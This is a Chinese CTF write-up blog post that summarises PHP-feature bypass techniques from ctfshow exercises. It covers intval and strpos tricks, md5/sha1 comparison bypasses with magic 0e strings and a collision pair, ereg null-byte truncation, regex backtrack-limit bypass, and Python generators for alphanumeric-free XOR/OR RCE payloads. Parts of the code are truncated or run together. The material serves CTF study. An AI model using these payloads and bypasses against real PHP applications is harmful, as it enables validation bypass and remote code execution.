php特性绕过总结
发布日期:2021-05-07 10:48:29 浏览次数:19 分类:技术文章

本文共 5413 字,大约阅读时间需要 18 分钟。

ctfshow中web入门的php特性已经刷完了,总结一下在做题时遇到的一些关键函数和部分绕过姿势,方便以后的查看。

文章目录

intval()函数

int intval ( mixed $var [, int $base = 10 ] )

intval() 函数用于获取变量的整数值。
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

这个函数一般用于传入一个要求的数,但传入的数字值又不能是这个数。比如4476,因为是获取变量的整数值,所以如果传一个带小数的数时,也会自动去掉小数,变成整数,例如4476.1

intval()能自动将数字的当前进制转换为十进制,还是4476,当传入0x117c010574,也就是4476的十六进制或八进制数时,会自动转换为4476

当传入intval()中的数字带有字母时,该函数会在读取到字母时自动停止读取,从而只转换前面的数字,同样4476,如果传入4476e31,只会读取成4476

strpos()函数

strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。如果没有找到字符串则返回 FALSE。

当代码中有strpos()对开头的字符有限制,如开头不能是数字时,可以在传入的数字前加+ 空格 %09来进行绕过

md5()函数

md5弱比较

代码类似于

if($_POST[a]!=$_POST[b] && md5($_POST[a])==md5($_POST[b])){   	die('success');	}

这里由于是弱比较==,可以选择在加密后是以0e开头的字符串,因为以0e开头,会被当作科学计数法来识别为0

md5加密后以0e开头的字符串:

s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514s1502113478a0e861580163291561247404381396064s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752

因为md5()函数无法处理数组,在遇到数组时会返回null,所以也可以传入两个值不同的数组进行绕过

a[]=1&b[]=2

md5强比较

因为md5()函数无法处理数组,在遇到数组时会返回null,所以也可以传入两个值不同的数组进行绕过

a[]=1&b[]=2

md5强碰撞

if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){   	die("success!");}

这里要求输入的必须是字符串,就不能用上面的数组的方法,先看payload

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

这么一长串的编码,他们的md5值是相同的,因为有不可见字符,所以用url编码。

sha1()函数

因为sha1()函数无法处理数组,在遇到数组时会报错并返回false,所以也可以传入两个值不同的数组进行绕过

a[]=1&b[]=2

运算符优先级

php中,and和&&都表示逻辑与,or和||都表示逻辑或,他们之间的区别就是运算的优先级不同,&& > = > and

|| > = > or

例如代码$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3)中,因为=的优先级高于and,所以只要v1的值是数字,就能绕过。

反射类ReflectionClass

通过ReflectionClass,我们可以得到Person类的以下信息:

  1. 常量 Contants
  2. 属性 Property Names
  3. 方法 Method Names静态
  4. 属性 Static Properties
  5. 命名空间 Namespace
  6. Person类是否为final或者abstract
  7. Person类是否有某个方法

也就是说,一旦这个类被反射了,那么我么就可以获取关于这个类的所有信息,一般在框架中用的很多。下面是一个反射类的例子

";}}$a=new ReflectionClass('A');var_dump($a->getConstants()); 获取一组常量/*输出 array(1) { ["PI"]=> float(3.14)}*/var_dump($a->getName()); 获取类名/*输出string(1) "A"*/var_dump($a->getStaticProperties()); 获取静态属性/*输出array(1) { ["flag"]=> string(15) "flag{2u0_t1_ya0_xia0_2he_2u0}"}*/var_dump($a->getMethods()); 获取类中的方法/*输出array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" }*/}

ereg()函数

ereg()函数有个%00截断漏洞,当该函数读取到%00时就会停止读取后面的内容

异常处理类

参考文章:

异常处理在 PHP 中的具体体现就是,PHP 提供了一个名叫 Exception 的类完成对 PHP 程序异常的处理,这个类包含了一些处理异常的函数,这些函数可以捕获程序异常和错误。

FilesystemIterator类

参考文章:

这个类可以用于获取当前目录下的所有文件,看下面的代码:

valid()){ echo $a->getFilename()."\n"; $a->next();}?>

输出结果:

在这里插入图片描述

全局变量GLOBALS

$GLOBALS — 引用全局作用域中可用的全部变量。

一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
即出现过的全局变量,就可以通过$GLOBALS这个数组取得。

最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit

回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

在解题时,可以根据题目来写脚本构造payload

无字母数字的rce

主要是参考的羽师傅的文章

异或

首先可以fuzz一波,看看有哪些字符能被我们利用

=32&ord($c)<=126) { # 对于所有字符,筛选出符合条件的 $contents=$contents.$c." ".$a." ".$b."\n"; } }}}fwrite($myfile,$contents);fclose($myfile);

下面开始用这些字符来构造我们想要执行的命令

import requestsimport urllibfrom sys import *import osdef action(arg):   s1=""   s2=""   for i in arg:       f=open("xor_rce.txt","r")       while True:           t=f.readline()           if t=="":               break           if t[0]==i:               #print(i)               s1+=t[2:5] # 取可用字符的第二部分               s2+=t[6:9] # 取可用字符的第三部分               break       f.close()   output="(\""+s1+"\"^\""+s2+"\")" # 将第二部分与第三部分异或,得到想要的字符   return(output)   while True:   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"   print(param)

把上面的两个脚本小改一下,将^换成|就可以了

=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }}}fwrite($myfile,$contents);fclose($myfile);
# -*- coding: utf-8 -*-# author yu22ximport requestsimport urllibfrom sys import *import os"""异或def action(arg):    s1 = ""    s2 = ""    for i in arg:        f = open("../../phpstudy/phpstudy_pro/WWW/xor_rce.txt", "r")        while True:            t = f.readline()            if t == "":                break            if t[0] == i:                # print(i)                s1 += t[2:5]                s2 += t[6:9]                break        f.close()    output = "(\"" + s1 + "\"^\"" + s2 + "\")"    return (output)while True:    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"    print(param)"""def action(arg):    s1 = ""    s2 = ""    for i in arg:        f = open("../../phpstudy/phpstudy_pro/WWW/xor_rce.txt", "r")        while True:            t = f.readline()            if t == "":                break            if t[0] == i:                # print(i)                s1 += t[2:5]                s2 += t[6:9]                break        f.close()    output = "(\"" + s1 + "\"|\"" + s2 + "\")"    return (output)while True:    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"    print(param)

取反

上一篇:ctfshow web入门 文件上传(持续更新)
下一篇:python入门——运算符

发表评论

最新留言

不错!
[***.144.177.141]2025年04月04日 18时10分15秒